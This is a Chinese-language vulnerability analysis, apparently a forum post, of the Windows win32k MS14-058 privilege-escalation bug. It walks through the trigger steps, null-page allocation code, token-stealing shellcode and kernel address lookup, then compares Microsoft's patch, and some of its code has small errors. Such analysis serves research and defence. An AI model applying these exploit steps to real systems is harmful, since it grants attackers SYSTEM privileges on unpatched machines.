一、 调试环境
win Server datacenter 2008 sp1 32位 win32k.sys版本号:6.0.6001.18000
windbg,ida6.5,VirtualKD-2.8
样本直接网上搜索下载即可。
微软编号MS14-058
微软知识库:https://support.microsoft.com/kb/3000061
二、 漏洞原因
1、 在win32k.sys文件中_xxxHandleMenuMessages会调用xxxMNFindWindowFromPoint。但其返回值的检查不严格。随后直接将返回值-5传给了xxxSendMessage。下图中v13即是返回值tagWND。下图最后一句,v13直接被做为参数传给了xxxSendMessage。
2、 xxxSendMessage直接调用xxxSendMessageTimeout
ULONG __stdcall xxxSendMessage(int a1, int MbString, int AllocationSize, void *a4)
{
return xxxSendMessageTimeout(a1, MbString, AllocationSize, a4, 0, 0, 0, 1);
}
3、 xxxSendMessageTimeout中会调用tagWND偏移60h处的指针。
push esi
call dword ptr [esi+60h] // esi即是tagWND
4、换言之,如果上图中v13的值为-5,也就是xxxMNFindWindowFromPoint返回了-5,将会:
push esi //esi=-5
call dword ptr [5B] //如果在0x5B这里放置好ShellCode即可干点别的事。
三、 漏洞利用
漏洞触发和利用的全过程如下图所示:
触发和利用主要有以下几步:
1、 创建菜单。
2、 设置HOOK函数。在HOOK函数中使用SetWindowLongA设置菜单的WndProc。
3、 调用TrackPopupMenu。让菜单弹出。
4、 模拟LBUTTONDOWN点击菜单。让菜单对象的WndProc得到执行。
5、 当WndProc执行时,会收到内核发送的MN_FINDWINDOWFROMPOINT(1EB)消息,应用层处理此消息。时用EndMenu销毁菜单,并强制返回0xFFFFFFFB,触发漏洞转向ShellCode。
注:
上图中内核win32k里的_xxxMNLoop函数中两个地方调用xxxHandleMenuMessages,一是在while(1)之前,另一处是在while(1)之中。
在进入主循环while (1)之前会调用一次,但这次并不是wndProc销毁菜单返回-5的地方。而是在进入主循环后不断地处理消息,才会轮到漏洞触发。
百度安全攻防实验室在乌云上发布的《Windows内核提权漏洞CVE-2014-4113分析报告》,文中“0x01 漏洞分析”第2小段的描述是不正确的,或者容易引起歧义。该文中提到“进入真正的while循环之前会调用win32k!xxxHandleMenuMessage,继续跟进win32k!xxxHandleMenuMessages ,其会事先调用win32k!xxxMNFindWindowFromPoint来得到菜单窗口对象指针ptagWND”。
漏洞触发后用windbg不断地Shift+F11可以退到下图这个地方。熟悉windows编程很容易看懂,这是非常标准的window消息循环。Translate之后Dispatch。这是while(1)循环之中触发漏洞。而不是该文中所述循环之前触发。
四、 0地址分配内存。
0地址分配内存是漏洞利用的技巧,微软实现ZwAllocateVirtualMemory函数时没注意到这个问题。此技巧主要应用在以下几种情况:
A、 使用null指针。
B、 某函数返回负数,而调用者没有检查返回值,直接把负数当指针。本漏洞就是属于这种情况。
ZwAllocateVirtualMemory的参数如下:
NTSTATUS ZwAllocateVirtualMemory(
_In_ HANDLE ProcessHandle, //当前进程传-1即可
_Inout_ PVOID *BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect
);
使用此函数的过程如下:
HMODULE hnt = LoadLibraryA("ntdll.dll");
P_ZwAllocateVirtualMemory pfZwAllocateVirtualMemory = (P_ZwAllocateVirtualMemory)GetProcAddress(hnt, "ZwAllocateVirtualMemory");
ULONG base = 1;
PVOID *p = (PVOID *)&base;
SIZE_T s = 8192; //一个内存页。
ULONG eax = pfZwAllocateVirtualMemory((HANDLE)-1, p, 0, &s, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
if (eax != 0)
{
printf("error %08x ",eax);
}
上述调用过程中,有下列参数要注意:
1、 BaseAddress传入1。
2、 RegionSize为8192,一个内存页。
3、 AllocationType中要包括MEM_TOP_DOWN。指从上向下分配内存。由于BaseAddress为1,这样分配成功后的地址范围就是0xFFFFE001 (-8191) 到 1。0地址也包括其中。这时再向0指针写数据并执行,都没问题了。
五、 提权函数ShellCode部分
在上述0页内存分配之后,就可以向-5的内存地址处构造tagWND数据。注意其中三处赋值都是根据xxxSendMessageTimeout中的跳转机制来设定的。其偏移分别是:0x3,0x11,0x5B。
上述函数执行完成后,-5(0xFFFFFFFB)处内存如下图所示:
上图内存中0x5B处指向提权函数。提权函数很简单:
void __stdcall ShellCode() //sub_401830
{
int v4; // [sp+0h] [bp-8h]@1
int v5; // [sp+4h] [bp-4h]@1
funPsLookupProcessByProcessId(dword_PID, &v4);
funPsLookupProcessByProcessId(dword_SYSID, &v5);
*(DWORD *)(dword_40C008 + v4) = *(DWORD *)(dword_40C008 + v5);
//*((EPROCESS*)(PsLookupProcessByProcessId(currentPID)).Token)=
//*((EPROCESS*)(PsLookupProcessByProcessId(4/*system*/)).Token)
}
六、 利用ZwQuerySystemInformation获取PsLookupProcessByProcessId
前面所述提权函数中,最主要就是两次调用PsLookupProcessByProcessId函数。所以得到该函数在内核中的地址是很重要的一步。
利用ntdll.dll中的ZwQuerySystemInformation函数,可以查询内核信息ntkrnlpa.exe。该函数可以查询包括进程信息、内核信息、硬件如cpu数目、句柄、时间信息等信息。
NTSTATUS WINAPI ZwQuerySystemInformation(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__in_out PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
其第一个参数SYSTEM_INFORMATION_CLASS是一个枚举结构。枚举了所有的系统信息。
该枚举定义如下:
typedefenum_SYSTEM_INFORMATION_CLASS
{
SystemBasicInformation,//0YN
SystemProcessorInformation,//1YN
SystemPerformanceInformation,//2YN
SystemTimeOfDayInformation,//3YN
SystemNotImplemented1,//4YN
SystemProcessesAndThreadsInformation,//5YN
SystemCallCounts,//6YN
SystemConfigurationInformation,//7YN
SystemProcessorTimes,//8YN
SystemGlobalFlag,//9YY
SystemNotImplemented2,//10YN
SystemModuleInformation,//11YN
//……这里还有很多,略去。
SystemSessionProcessesInformation//53YN
}SYSTEM_INFORMATION_CLASS;
通过传入SystemModuleInformation 11参数。可以查询到系统内核信息。
ZwQuerySystemInformation函数分别可以在内核模式和用户模式下使用。本漏洞的利用是要在用户模式调用此函数并传入SystemModuleInformation参数。来查询内核信息。
在用户模式调用时先声明一个函数。
typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)(IN SYSTEM_INFORMATION_CLASS,IN OUT PVOID, INULONG, OUTPULONG);
加载NTDLL.DLL,获取函数地址。
NTQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
ZwQuerySystemInformation =
(NTQUERYSYSTEMINFORMATION)GetProcAddress(ntdll.dll,"ZwQuerySystemInfromation");
使用Windbg带源码调试看看取到的内核模块值
上图的函数返回后,在下图中看看如何去获取PsLookupProcessByProcessId在内核中的地址。
七、 内核中的提权过程
前面已经把exploit的关键部分分析了,可以直接编译exe。在运行exe之前,用windbg下断点:ba e1 win32k!xxxMNFindWindowFromPoint,中断后执行到返回。
上图中可以看到eax=0xfffffffb,继续向下执行:
0xfffffffb将作为tagWND传给xxxSendMessageTimeout。下图中的call,将转向ring3里构造的提权代码。
用F11命令进入提权代码:
上图中可以看到PsLookupProcessByProcessId的值即是上一节中取出来的值0x81c17218。提权代码的意义是将EPROCESS结构中的Token字段,替换为ProcessID=4,也就是System进程的Token。
用windbg的dt _EPROCESS来看看它的结构。该结构在不同的操作系统版本中,Token有不同的偏移量。这里对应的是0xE0;
kd> dt _EPROCESS 8ad23d90
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x080 ProcessLock : _EX_PUSH_LOCK
+0x088 CreateTime : _LARGE_INTEGER 0x1d049b8`6b61e42d
+0x090 ExitTime : _LARGE_INTEGER 0x0
+0x098 RundownProtect : _EX_RUNDOWN_REF
+0x09c UniqueProcessId : 0x00000e68 Void
+0x0a0 ActiveProcessLinks : _LIST_ENTRY [ 0x81b13990 - 0x8ad61588 ]
+0x0a8 QuotaUsage : [3] 0x6c0
+0x0b4 QuotaPeak : [3] 0x6c0
+0x0c0 CommitCharge : 0x143
+0x0c4 PeakVirtualSize : 0x209d000
+0x0c8 VirtualSize : 0x209d000
+0x0cc SessionProcessLinks : _LIST_ENTRY [ 0x900ee010 - 0x8ad615b4 ]
+0x0d4 DebugPort : (null) //玩游戏的熟悉这个
+0x0d8 ExceptionPortData : 0x8aa4b4c0 Void
+0x0d8 ExceptionPortValue : 0x8aa4b4c0
+0x0d8 ExceptionPortState : 0y000
+0x0dc ObjectTable : 0x9b4ff1c0 _HANDLE_TABLE
+0x0e0 Token : _EX_FAST_REF //要换掉的就是这里。
//……后面还有很长。略去。
八、 微软的补丁方案
Windows6.0-KB3000061-x86.msu安装文件是针对此漏洞的补丁文件。来看看微软大神们是如何解决此问题的。首先用Bindiff工具来对比补丁文件。xxxHandleMenuMessage只有0.94的相似度。
再看看汇编中增加了什么:
.text:BF905F43 loc_BF905F43: ; CODE XREF: xxxHandleMenuMessages(x,x,x)+128 j
.text:BF905F43 push ebx ; ebx即是popmenuwndproc的返回值-5
.text:BF905F44 call _IsMFMWFPWindow@4 ; IsMFMWFPWindow(x)
.text:BF905F49 test eax, eax ; 补丁增加了上面这个函数检查。
.text:BF905F4B jnz short loc_BF905F55
.text:BF905F4D
.text:BF905F4D loc_BF905F4D: ; CODE XREF: xxxHandleMenuMessages(x,x,x)+10C j
.text:BF905F4D ; xxxHandleMenuMessages(x,x,x)+426 j ...
.text:BF905F4D push esi
.text:BF905F4E call _xxxMNDismiss@4 ; xxxMNDismiss(x)
.text:BF905F53 jmp short loc_BF905F7D ; 跳走结束
.text:BF905F55 ; ---------------------------------------------------------------------------
.text:BF905F55
.text:BF905F55 loc_BF905F55: ; CODE XREF: xxxHandleMenuMessages(x,x,x)+564 j
.text:BF905F55 push 0 ; void *
.text:BF905F57 push [ebp+AllocationSize] ; AllocationSize
.text:BF905F5A push 1EDh ; MbString
.text:BF905F5F push ebx ; int
.text:BF905F60 call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
备注:
1、使用Bindiff时注意:
Bindiff4.0只支持ida6.0及以上的版本。当然6.5也是支持的。
Bindiff会将ida所需的插件安装在C:\Program Files (x86)\IDA\plugins目录
但由于ida6.5是下载版本。不是安装版本。所以要将上述目录中的四个插件拷贝到ida\plugins里。
2、微软编号MS11-054,涉及8个CVE(CVE-2011-1878~CVE-2011-1885)在11年已经修补过popmenu相关的漏洞。MJ的《从Dump到POC系列一:Win32k内核提权漏洞分析》有深入分析。做个记录备查。
3、附件源码使用vs2010可编译。再改动还可以干点别的。调试时用windbg加上源码路径很方便。要用Release模式编译后,shellcode部分在内核里执行才正常。用Debug模式编译的后果你懂的。代码基本是直接F5过来改了些名字。求别骂。
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)